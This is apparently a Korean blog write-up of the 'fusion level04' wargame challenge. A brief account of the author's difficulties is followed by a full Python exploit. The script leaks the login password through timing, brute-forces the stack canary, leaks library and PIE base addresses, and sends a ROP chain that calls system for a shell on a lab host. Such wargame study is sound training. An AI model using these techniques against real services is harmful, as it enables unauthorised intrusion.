fusion level04

얘도 엄청 어려웠다ㅋㅋㅋㅋ 두 군데에서 삽질을 했는데 첫 번째는 이 프로그램이 데몬으로 돌아가서 실행할 때마다 패스워드와 카나리, 베이스 주소 등등이 바뀌는 줄 알고 어떻게 할까 고민고민 하다가 성우형이 소켓이라는 사실과 패스워드를 구해내는 힌트를 주셔서 겨우 이 고비를 넘겼었다. 그리고 익스플로잇을 다 짠 후에 이번에는 당연히 소켓이니까 소켓용 /bin/sh를 보내다가 dup2 함수를 통해 파일디스크립터가 표준으로 바뀌어 있음을 깨닫고 일반 /bin/sh로 보내니까 쉘이 잘 따였다. 이 두 개 때문에 거의 이틀을 버렸다..ㅠㅠ

from SunKn0wn import *
 
def get_password_char(tmp_table):
    for i in range(len(tmp_table) - 1):        # Select Sorting
        for j in range(i + 1, len(tmp_table)):
            if ord(tmp_table[i]) > ord(tmp_table[j]):
                tmp_table[i], tmp_table[j] = tmp_table[j], tmp_table[i]
    return tmp_table[len(tmp_table) / 2]
 
#################### Get Password ####################
password = ''
table = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
 
for i in range(15):
    tmp_table = []
    min_time = 1
    min_char = '_'
    for j in range(5):
        for k in table:
            r = remote('192.168.179.151', 20004)
            r.sendline('GET /opt/fusion/level04 HTTP/1.1')
            payload = 'Authorization: Basic '
            payload += base64encode(password + k)
            r.sendline(payload)
            tstart = time.time()
            r.recv(1024)
            tend = time.time()
            if (tend - tstart) < min_time:
                min_time = tend - tstart
                min_char = k
            r.close()
        tmp_table.append(min_char)
    password += get_password_char(tmp_table)
    print "[*]Leaking password : " + password + '_' * (15 - i) + '  [%d / 16]' % (i + 1)
 
for i in table:
    r = remote('192.168.179.151', 20004)
    r.sendline('GET /opt/fusion/level04 HTTP/1.1')
    payload = 'Authorization: Basic '
    payload += base64encode(password + i + 'A' * 2100)
    r.sendline(payload)
    recv = r.recvall()
    if "smashing" in recv:
        password += i
        r.close()
        break
    r.close()
    
print "[!]Password : " + password
 
#################### Get Canary ####################
canary = ''
 
for i in range(4):
    for j in range(0x100):
        r = remote('192.168.179.151', 20004)
        r.sendline('GET /opt/fusion/level04 HTTP/1.1')
        payload = 'Authorization: Basic '
        payload += base64encode(password + 'A' * 2032 + canary + chr(j))
        r.sendline(payload)
        recv = r.recvall()
        if "smashing" not in recv:
            print "[*]Found canary byte : " + str(hex(j))
            canary += chr(j)
            r.close()
            break
        r.close()
print "[!]Canary : " + str(hex(up32(canary)))
 
#################### Get library/PIE Base Address ####################
Lib_Base = 0
PIE_Base = 0
 
r = remote('192.168.179.151', 20004)
r.sendline('GET /opt/fusion/level04 HTTP/1.1')
payload = 'Authorization: Basic '
payload += base64encode(password + 'A' * 2033)
r.sendline(payload)
recv = r.recvall()
Lib_Base = int(recv[188:196], 16) - 0xe7887
print "[!]Lib_Base : " + str(hex(Lib_Base))
PIE_Base = int(recv[219:227], 16) - 0x2dd1
print "[!]PIE_Base : " + str(hex(PIE_Base))
r.close()
 
#################### Exploit ####################
system_lib = Lib_Base + 0x0003CB20
read_lib = Lib_Base + 0x000C1240
pppr = PIE_Base + 0x00002D9D
bss = PIE_Base + 0x00004280
 
r = remote('192.168.179.151', 20004)
r.sendline('GET /opt/fusion/level04 HTTP/1.1')
payload = password + 'A' * 2032 + canary + 'A' * 28
payload += p32(read_lib)
payload += p32(pppr)
payload += p32(0)
payload += p32(bss)
payload += p32(0x100)
payload += p32(system_lib)
payload += 'AAAA'
payload += p32(bss)
payload = 'Authorization: Basic ' + base64encode(payload)
r.sendline(payload)
sleep(0.2)
r.send(binsh)
r.interactive()